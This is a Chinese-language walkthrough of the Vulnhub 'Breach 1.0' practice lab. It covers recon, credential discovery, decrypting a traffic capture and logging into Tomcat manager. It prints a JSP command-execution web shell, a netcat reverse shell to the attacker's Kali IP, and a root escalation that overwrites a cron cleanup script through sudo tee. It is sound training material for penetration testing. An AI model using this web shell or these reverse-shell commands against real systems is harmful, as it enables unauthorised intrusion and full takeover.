相比於CTF題目,Vulnhub的靶場更貼近於實際一些,而且更加綜合考察了知識。在這里記錄以下打這個靶場的過程和心得。
測試環境
-
Kali linux IP:192.168.110.128
-
Breach 1.0 IP:192.168.110.140
均通過NAT模式連主機
信息搜集
先掃描開放端口,發現開了一大堆。
直接查看80端口Web
服務
查看頁面源碼有一串字符
<!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo ----->
得到一串意義不明的東西
pgibbons:damnitfeel$goodtobeagang$ta
點擊圖片有跳轉,挨個點擊,發現了一個impress cms
那看到cms
第一反應就是去找現成的漏洞,有跨站腳本執行和本地文件包含,但都是在admin
的情況下才可以執行, 這個時候我們不妨試試之前解出的那串字符,作為賬號密碼。
發現可以成功,進入之后查看發現有個收件箱,里面三封郵件得到了一個關鍵信息,192.168.110.140/.keystore
,是一個SSL證書,訪問鏈接即可下載。
但是線索到這里暫時斷了,但是網上找到一個漏洞信息
漏洞信息
ImpressCMS
是一款內容管理系統。
ImpressCMS
存在跨站腳本漏洞,可通過PATH_INFO
傳遞給otifications.php
,modules/system/admin/images/browser.php
和modules/content/admin/content.php
腳本的輸入注入WEB腳本或HTML,可獲得敏感信息或劫持用戶會話。
雖然經一系列嘗試無果,但是在訪問modules/content/admin/content.php
的時候,由於沒有權限跳轉到了這個頁面
content
下面有個鏈接
是一個流量包,那之前拿到的SSL證書就能用到了。
關鍵信息:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'.
查看流量包
打開流量包,直接查看沒有什么有用信息
導入SSL證書,因為是tomcat
服務所以端口號選擇8443,
說明我們拿到的證書格式不對,需要PKCS12格式的證書。我們使用keytool
查看信息,密碼是tomcat
根據提示信息操作
keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12
現在格式正確了
重新導入,多了一些http包
我們篩選一下http包
發現在請求一個網頁,但是第一次沒有成功,比較兩個數據包,發現多了這一行請求。
我們也嘗試訪問這個頁面
但是一直訪問不成功,嘗試抓包
才發現是覺得不安全被攔截了,抓包訪問的時候會讓你輸入賬號密碼
tomcat:Tt\5D8F(#!*u=G)4m7zB
使用流量包中發現的賬號密碼登錄
進入后台
我們進入了一個tomcat
的后台界面,發現一個文件上傳點,需要上傳war包。
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
打包成war上傳之后訪問,傳參
成功,但是測試的時候發現隔一會上傳的馬會被刪除,應該是后台有一個定時清除的腳本,因此我們彈一個shell
出來
GetShell以及提權
Kali
使用nc -lnvp 8888
監聽
發送nc -v 192.168.110.128 8888 -e /bin/bash
, 成功之后使用python -c 'import pty;pty.spawn("/bin/sh")'
進入交互式界面
home
目錄下兩個用戶以及/etc/passwd
發現在/var/www/5446/
目錄下有兩個奇怪的php
文件
發現是數據庫的賬號和密碼,我們連接數據庫看一看
找到了milton
用戶的密碼hash
值
破解得密碼thelaststraw
。
登錄milton
用戶,但是發現很遺憾,這個用戶沒有sudo
權限
查看.bash_history
看樣子我們需要得到blumbergh
用戶的權限。我們再看milton
家目錄下的那張圖片,放到/var/www/html/images/
目錄下
檢查這張圖片,並沒有什么玄機。
再查看images
下的圖片權限
發現有兩張圖片的權限與其他不同,查看
發現bill.png
下面有個comment
是coffeestains
,結果這個就是blumbergh
用戶的密碼,就挺離譜的。
登錄blumbergh
用戶,查看.bash_history
查看一下tidyup.sh
就是這個指令之前刪除了我們的shell
但是這個腳本的權限是755
, 現有權限並不能更改
但是我們發現現在這個用戶有一個權限,就是可以使用tee
指令
因此就有了修改的方式
echo nc -v 192.168.110.128 8888 -e /bin/bash | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
因為這個腳本是root
用戶的權限,因此我們通過這個方式反彈出來的shell
就是root
權限。設置監聽之后等待即可。
至此,成功提權到root
。